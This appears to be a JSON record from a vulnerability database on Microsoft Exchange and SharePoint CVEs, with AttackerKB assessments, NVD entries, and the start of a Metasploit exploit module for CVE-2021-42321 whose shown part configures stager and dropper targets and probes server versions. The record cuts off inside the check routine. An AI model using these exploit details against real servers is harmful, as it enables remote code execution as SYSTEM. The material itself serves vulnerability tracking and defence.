\t\ttypeof(HttpReply.DxStoreReply).FullName,\n \t\ttypeof(HttpReply.ExceptionReply).FullName,\n \t\ttypeof(HttpReply.GetInstanceStatusReply).FullName,\n \t\ttypeof(HttpRequest).FullName,\n \t\ttypeof(HttpRequest.DxStoreRequest).FullName,\n \t\ttypeof(HttpRequest.GetStatusRequest).FullName,\n \t\ttypeof(HttpRequest.GetStatusRequest.Reply).FullName,\n \t\ttypeof(HttpRequest.PaxosMessage).FullName,\n \t\ttypeof(InstanceGroupConfig).FullName,\n \t\ttypeof(InstanceGroupMemberConfig).FullName,\n \t\ttypeof(InstanceGroupSettings).FullName,\n \t\ttypeof(InstanceManagerConfig).FullName,\n \t\ttypeof(InstanceSnapshotInfo).FullName,\n \t\ttypeof(InstanceStatusInfo).FullName,\n \t\ttypeof(LocDescriptionAttribute).FullName,\n \t\ttypeof(PaxosBasicInfo).FullName,\n \t\ttypeof(PaxosBasicInfo.GossipDictionary).FullName,\n \t\ttypeof(ProcessBasicInfo).FullName,\n \t\ttypeof(PropertyNameInfo).FullName,\n \t\ttypeof(PropertyValue).FullName,\n \t\ttypeof(ReadOptions).FullName,\n \t\ttypeof(ReadResult).FullName,\n \t\ttypeof(WcfTimeout).FullName,\n \t\ttypeof(WriteOptions).FullName,\n \t\ttypeof(WriteResult).FullName,\n \t\ttypeof(WriteResult.ResponseInfo).FullName,\n \t\ttypeof(GroupStatusInfo).FullName,\n \t\ttypeof(GroupStatusInfo.NodeInstancePair).FullName,\n \t\ttypeof(InstanceMigrationInfo).FullName,\n \t\ttypeof(KeyContainer).FullName,\n \t\ttypeof(DateTimeOffset).FullName\n \t};\n \n \tprivate static readonly string[] allowedGenerics = new string[6] { \"System.Collections.Generic.ObjectEqualityComparer`1\", \"System.Collections.Generic.EnumEqualityComparer`1\", \"System.Collections.Generic.EqualityComparer`1\", \"System.Collections.Generic.GenericEqualityComparer`1\", \"System.Collections.Generic.KeyValuePair`2\", \"System.Collections.Generic.List`1\" };\n \n \tpublic static void Serialize(MemoryStream ms, object obj)\n \t{\n \t\tExchangeBinaryFormatterFactory.CreateSerializeOnlyFormatter().Serialize(ms, obj);\n \t}\n \n \tpublic static object DeserializeUnsafe(Stream s)\n \t{\n \t\treturn ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.HttpBinarySerialize).Deserialize(s);\n \t}\n \n \tpublic static object Deserialize(Stream s)\n \t{\n \t\treturn DeserializeSafe(s);\n \t}\n \n \tpublic static object DeserializeSafe(Stream s)\n \t{\n \t\treturn ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SwordFish_AirSync, strictMode: false, allowedTypes, allowedGenerics).Deserialize(s);\n \t}\n }\n \n\n * Added in `Microsoft.Exchange.DxStore.Common.IDxStoreDynamicConfig.cs` which has the following code: \n\n \n \n namespace Microsoft.Exchange.DxStore.Common;\n \n public interface IDxStoreDynamicConfig\n {\n \tbool IsRemovePublicKeyToken { get; }\n \n \tbool IsSerializerIncompatibleInitRemoved { get; }\n \n \tbool EnableResolverTypeCheck { get; }\n \n \tbool EnableResolverTypeCheckException { get; }\n }\n \n\n# Exploit Chain\n\nLets start at the deserialization chain and work backwards.\n \n \n Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.DeserializeObject\n Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.ExchangeCertificateRpc(ExchangeCertificateRpcVersion version, byte[] inputBlob, byte[] outputBlob)\n Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper.GetCertificate(int version, byte[] inputBlob)\n Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer.GetCertificate(int version, byte[] inputBlob)\n \n\nWe can then use the `Get-ExchangeCertificate` commandlet from <https://docs.microsoft.com/en-us/powershell/module/exchange/get-exchangecertificate?view=exchange-ps> and set a breakpoint inside `Microsoft.Exchange.ExchangeCertificateServicelet.dll` specifically within the `Microsoft.Exchange.Servicelets.ExchangeCertificate.GetCertificate` handler.\n\nUnfortunately it seems like the current way things work we are sending a `ExchangeCertificateRpcVersion rpcVersion` with a version of `Version2`.\n\nExploited process is `Microsoft.Exchange.ServiceHost.exe` which runs as `NT AUTHORITY\\SYSTEM`.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-08T00:00:00", "type": "attackerkb", "title": "CVE-2022-21969", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.3, "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321", "CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-02-08T00:00:00", "id": "AKB:0A7DD7B4-3522-4B79-B4A6-3B2A86B2EADE", "href": "https://attackerkb.com/topics/QdE4FMzghj/cve-2022-21969", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-27T11:11:05", "description": "A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka \u2018Microsoft SharePoint Remote Code Execution Vulnerability\u2019. This CVE ID is unique from CVE-2020-16951.\n\n \n**Recent assessments:** \n \n**wvu-r7** at October 13, 2020 7:56pm UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/4yGC4tLK2x/cve-2020-16952#rapid7-analysis>). A [Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/14265>) will be released.\n\n**ccondon-r7** at October 16, 2020 7:04pm UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/4yGC4tLK2x/cve-2020-16952#rapid7-analysis>). A [Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/14265>) will be released.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-16T00:00:00", "type": "attackerkb", "title": "CVE-2020-16952 \u2014 Microsoft SharePoint Remote Code Execution Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16898", "CVE-2020-16951", "CVE-2020-16952"], "modified": "2020-10-22T00:00:00", "id": "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B", "href": "https://attackerkb.com/topics/4yGC4tLK2x/cve-2020-16952-microsoft-sharepoint-remote-code-execution-vulnerabilities", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T15:01:43", "description": "A remote code execution vulnerability exists in Microsoft Exchange server due to improper validation of cmdlet arguments. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the System user, aka \u2018Microsoft Exchange Server Remote Code Execution Vulnerability\u2019. **Note:** As of January 12, 2021, the patch for CVE-2020-16875 has been bypassed twice. See [CVE-2020-17132](<https://attackerkb.com/topics/sfBIO5A6Cl/cve-2020-17132#rapid7-analysis>) for details.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at September 09, 2020 6:14pm UTC reported:\n\nThere\u2019s more info in Rapid7\u2019s analysis [here](<https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875?#rapid7-analysis>), but as **@tsellers-r7** and **@smcintyre-r7** pointed out privately today, need for authenticated session + exposed PowerShell endpoint + user who belongs to specific Exchange groups = less opportunity for wide-scale attacks than something like February\u2019s Exchange vuln. I\u2019m interested to see how [Steven Seeley\u2019s exploit](<https://twitter.com/steventseeley/status/1303454166820556800>) works if he releases it, though. Might be cause for quick re-evaluation.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 9.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-11T00:00:00", "type": "attackerkb", "title": "CVE-2020-16875", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16875", "CVE-2020-168750", "CVE-2020-17132"], "modified": "2021-01-15T00:00:00", "id": "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "href": "https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-10-22T16:51:11", "description": "Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-1730.\n\n \n**Recent assessments:** \n \n**bwatters-r7** at March 03, 2021 1:51pm UTC reported:\n\nThis attack is super useful to gain privileged access to an Exchange server. Given the ubiquity of the target, it\u2019s remote nature, the presence of a simple python PoC, and the benefits from gaining privileged access to a mail server, hackers will be reaching for this exploit frequently, even if it does require authentication. \nFurther complicating matters is that the requests themselves are through https, so standard deployment for NIDS likely will not catch the attack. If you\u2019ve added certificates to your NIDS to decrypt traffic, then it might catch the attack, but that scenario is not particularly common, especially in small to midsize organizations. \nPatching is the primary method for mitigating this attack, though the logs left afterward (if they are not destroyed) are straightforward and reviewed in the technical analysis here: <https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085?#rapid7-analysis>\n\n**NinjaOperator** at June 23, 2021 11:46pm UTC reported:\n\nThis attack is super useful to gain privileged access to an Exchange server. Given the ubiquity of the target, it\u2019s remote nature, the presence of a simple python PoC, and the benefits from gaining privileged access to a mail server, hackers will be reaching for this exploit frequently, even if it does require authentication. \nFurther complicating matters is that the requests themselves are through https, so standard deployment for NIDS likely will not catch the attack. If you\u2019ve added certificates to your NIDS to decrypt traffic, then it might catch the attack, but that scenario is not particularly common, especially in small to midsize organizations. \nPatching is the primary method for mitigating this attack, though the logs left afterward (if they are not destroyed) are straightforward and reviewed in the technical analysis here: <https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085?#rapid7-analysis>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-25T00:00:00", "type": "attackerkb", "title": "CVE-2021-24085", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16875", "CVE-2020-24085", "CVE-2021-1730", "CVE-2021-24085"], "modified": "2021-03-05T00:00:00", "id": "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A", "href": "https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085/rapid7-analysis", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-10-04T22:44:18", "description": "Aka \u2018Microsoft Exchange Remote Code Execution Vulnerability\u2019. This CVE ID is unique from CVE-2020-17117, CVE-2020-17141, CVE-2020-17142, CVE-2020-17144.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at January 12, 2021 7:07pm UTC reported:\n\nThis is vulnerability is a bypass for the patch issued for [CVE-2020-16875](<https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875>). The vulnerability was also identified and analyzed by Steven Seeley. The patch can be bypassed using call operators as described in Seeley\u2019s blog [Making Clouds Rain RCE in Office 365](<https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html>).\n\nThe original vulnerability is a command injection vulnerability that results in OS commands being executed with SYSTEM level privileges on the Exchange server due to insufficient sanitization on a cmdlet invocation.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-12-10T00:00:00", "type": "attackerkb", "title": "CVE-2020-17132", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16875", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17144"], "modified": "2021-01-15T00:00:00", "id": "AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "href": "https://attackerkb.com/topics/sfBIO5A6Cl/cve-2020-17132/rapid7-analysis", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-05-23T15:46:18", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-10T01:19:00", "type": "cve", "title": "CVE-2021-42321", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-08-29T18:59:00", "cpe": ["cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2019"], "id": "CVE-2021-42321", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-42321", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_10:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_22:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_11:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_21:*:*:*:*:*:*"]}, {"lastseen": "2023-06-05T14:23:12", "description": "A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka 'Microsoft Exchange Memory Corruption Vulnerability'.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T22:15:00", "type": "cve", "title": "CVE-2020-0688", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-07-12T17:42:00", "cpe": ["cpe:/a:microsoft:exchange_server:2010", "cpe:/a:microsoft:exchange_server:2019", "cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2013"], "id": "CVE-2020-0688", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-0688", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2010:sp3_rollup_30:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_3:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_14:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_15:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_4:*:*:*:*:*:*"]}], "zdt": [{"lastseen": "2023-05-24T12:24:50", "description": "This Metasploit module allows remote attackers to execute arbitrary code on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2. Note that authentication is required to exploit this vulnerability. The specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an entry was typo'd as System.Security.ClaimsPrincipal instead of the proper value of System.Security.Claims.ClaimsPrincipal. By leveraging this vulnerability, attacks can bypass the ChainedSerializationBinder's deserialization deny list and execute code as NT AUTHORITY\\SYSTEM. Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server 2016.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-26T00:00:00", "type": "zdt", "title": "Microsoft Exchange Server Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-02-26T00:00:00", "id": "1337DAY-ID-37423", "href": "https://0day.today/exploit/description/37423", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'nokogiri'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE',\n 'Description' => %q{\n This vulnerability allows remote attackers to execute arbitrary code\n on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11\n prior to Security Update 2, Exchange Server 2016 CU21 prior to\n Security Update 3, and Exchange Server 2016 CU22 prior to\n Security Update 2.\n\n Note that authentication is required to exploit this vulnerability.\n\n The specific flaw exists due to the fact that the deny list for the\n ChainedSerializationBinder had a typo whereby an entry was typo'd as\n System.Security.ClaimsPrincipal instead of the proper value of\n System.Security.Claims.ClaimsPrincipal.\n\n By leveraging this vulnerability, attacks can bypass the\n ChainedSerializationBinder's deserialization deny list\n and execute code as NT AUTHORITY\\SYSTEM.\n\n Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,\n and Exchange Server 2016 CU22 SU0 on Windows Server 2016.\n },\n 'Author' => [\n 'pwnforsp', # Original Bug Discovery\n 'zcgonvh', # Of 360 noah lab, Original Bug Discovery\n 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild\n 'Microsoft Security Response Center', # Discovery of exploitation in the wild\n 'peterjson', # Writeup\n 'testanull', # PoC Exploit\n 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D\n ],\n 'References' => [\n ['CVE', '2021-42321'],\n ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],\n ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],\n ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],\n ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],\n ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852']\n ],\n 'DisclosureDate' => '2021-12-09',\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'HttpClientTimeout' => 5,\n 'WfsDelay' => 10\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169\n CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.\n ]\n }\n )\n )\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']),\n OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', ''])\n ])\n end\n\n def post_auth?\n true\n end\n\n def username\n datastore['HttpUsername']\n end\n\n def password\n datastore['HttpPassword']\n end\n\n def vuln_builds\n # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019\n [\n [Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21\n [Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22\n [Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10\n [Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11\n ]\n end\n\n def check\n # First lets try a cheap way of doing this via a leak of the X-OWA-Version header.\n # If we get this we know the version number for sure and we can skip a lot of leg work.\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/owa/service')\n )\n\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n\n if res.headers['X-OWA-Version']\n build = res.headers['X-OWA-Version']\n if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n else\n return CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\")\n end\n end\n\n # Next, determine if we are up against an older version of Exchange Server where\n # the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange\n # give only a partial version without the build number.\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')\n )\n\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n\n if res.code == 200 && ((%r{/owa/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body))\n if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n else\n return CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\")\n end\n end\n\n # Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application\n # URL which if successful should provide some XML with entries like the following:\n #\n # <assemblyIdentity name=\"microsoft.exchange.ediscovery.exporttool.application\"\n # version=\"15.2.986.5\" publicKeyToken=\"b1d1a6c45aa418ce\" language=\"neutral\"\n # processorArchitecture=\"msil\" xmlns=\"urn:schemas-microsoft-com:asm.v1\" />\n #\n # This only works on Exchange Server 2013 and later and may not always work, but if it\n # does work it provides the full version number so its a nice strategy.\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application')\n 